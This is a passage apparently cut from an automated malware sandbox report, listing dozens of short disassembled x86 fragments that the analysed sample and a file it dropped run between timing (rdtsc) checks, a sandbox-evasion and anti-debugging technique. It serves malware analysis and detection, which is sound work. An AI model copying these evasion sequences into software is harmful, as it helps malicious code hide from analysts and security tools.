0x0000004e jmp 00007FB438C61F2Bh 0x00000053 call 00007FB438C61F29h 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b mov bh, 4Dh 0x0000005d push esi 0x0000005e pop edi 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE090A second address: 4CE092B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, ah 0x00000005 push ebx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB4390A66C4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE092B second address: 4CE0931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0931 second address: 4CE0935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0935 second address: 4CE0939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0939 second address: 4CE0959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB4390A66C4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0959 second address: 4CE0980 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB438C61F35h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0980 second address: 4CE0986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0986 second address: 4CE098A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE098A second address: 4CE098E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 4CEDC9 second address: 4CEDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 63E3D4 second address: 63E3E6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FB4390A66C9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 63E3E6 second address: 63E3F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C61F2Dh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 63E99E second address: 63E9BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 63EAF8 second address: 63EAFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 63EAFE second address: 63EB09 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007FB4390A66B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 63EC70 second address: 63EC8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB438C61F2Ch 0x00000010 jl 00007FB438C61F26h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 63EC8D second address: 63EC9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FB4390A66B8h 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 63EC9B second address: 63ECA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6406B4 second address: 6406BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6406BA second address: 6406C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FB438C61F2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6406C7 second address: 6406EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 js 00007FB4390A66BEh 0x0000000d jc 00007FB4390A66B8h 0x00000013 pushad 0x00000014 popad 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FB4390A66BDh 0x00000020 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 640A27 second address: 640A2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 652754 second address: 652759 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 634583 second address: 634593 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB438C61F2Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 634593 second address: 6345A2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6345A2 second address: 6345A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 65F4E4 second address: 65F4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 65F4EC second address: 65F4F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 65F9C3 second address: 65F9E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007FB4390A66BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 65FB2E second address: 65FB32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 65FB32 second address: 65FB4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB4390A66C1h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 65FCBD second address: 65FCC3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 65FE1B second address: 65FE41 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB4390A66B6h 0x00000008 jmp 00007FB4390A66C9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 65FF96 second address: 65FFC6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FB438C61F28h 0x0000000c pushad 0x0000000d popad 0x0000000e jns 00007FB438C61F32h 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 popad 0x00000019 pushad 0x0000001a push esi 0x0000001b push edi 0x0000001c pop edi 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 65FFC6 second address: 65FFCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 65FFCA second address: 65FFEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F37h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6602B7 second address: 6602BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6586A6 second address: 6586AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 63950D second address: 639512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 660B83 second address: 660B9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C61F31h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 660B9A second address: 660B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 660B9E second address: 660BBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F38h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 660E71 second address: 660E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6610F2 second address: 661110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FB438C61F35h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 665414 second address: 66541A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66541A second address: 66541E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66541E second address: 665422 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 667D5B second address: 667D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jno 00007FB438C61F26h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 667D6A second address: 667D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 667D70 second address: 667D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66ACEA second address: 66ACEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 62C0A4 second address: 62C0C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F2Eh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jc 00007FB438C61F26h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66F6D6 second address: 66F700 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB4390A66C7h 0x00000008 jmp 00007FB4390A66C1h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB4390A66BFh 0x00000014 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66F700 second address: 66F71E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB438C61F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jne 00007FB438C61F2Eh 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66F71E second address: 66F724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66F724 second address: 66F743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FB438C61F33h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66EB12 second address: 66EB2F instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB4390A66C3h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66ECD9 second address: 66ECDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66ECDF second address: 66ECE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66ECE3 second address: 66ECE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66EE49 second address: 66EE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66EE4F second address: 66EE73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007FB438C61F28h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB438C61F30h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66EE73 second address: 66EE93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB4390A66C7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66EE93 second address: 66EE99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66F263 second address: 66F26B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 66F26B second address: 66F275 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB438C61F26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 670A48 second address: 670A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 670D67 second address: 670D80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 670F2F second address: 670F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 670F33 second address: 670F41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FB438C61F26h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 671113 second address: 67111C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 671A88 second address: 671A92 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB438C61F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 671A92 second address: 671AA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4390A66C0h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 671B82 second address: 671B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 671B86 second address: 671B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FB4390A66B6h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 671D0A second address: 671D10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 671D10 second address: 671D68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FB4390A66B6h 0x00000009 jp 00007FB4390A66B6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jnc 00007FB4390A66C0h 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FB4390A66B8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 ja 00007FB4390A66BCh 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 671D68 second address: 671D79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 671D79 second address: 671D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4390A66C4h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 671D91 second address: 671DA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 671DA9 second address: 671DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 671DAE second address: 671DB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 672C2C second address: 672C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 672C32 second address: 672C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jns 00007FB438C61F32h 0x0000000d nop 0x0000000e sub esi, dword ptr [ebp+122D1E20h] 0x00000014 push 00000000h 0x00000016 jo 00007FB438C61F28h 0x0000001c mov edi, ebx 0x0000001e push 00000000h 0x00000020 call 00007FB438C61F33h 0x00000025 call 00007FB438C61F2Dh 0x0000002a sub dword ptr [ebp+122D3C0Fh], ebx 0x00000030 pop edi 0x00000031 pop esi 0x00000032 push eax 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 jnl 00007FB438C61F26h 0x0000003c rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 673C23 second address: 673C27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 673C27 second address: 673C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FB438C61F28h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov esi, dword ptr [ebp+122D2BCDh] 0x00000030 mov di, cx 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+12474824h], eax 0x0000003b push 00000000h 0x0000003d mov edi, dword ptr [ebp+122D2C15h] 0x00000043 movsx esi, cx 0x00000046 xchg eax, ebx 0x00000047 jmp 00007FB438C61F35h 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jnp 00007FB438C61F28h 0x00000055 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6746EB second address: 6746EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 675C14 second address: 675C5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C61F37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB438C61F35h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB438C61F33h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6772AF second address: 6772B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6772B5 second address: 6772BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	RDTSC instruction interceptor: First address: 6772BE second address: 6772C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
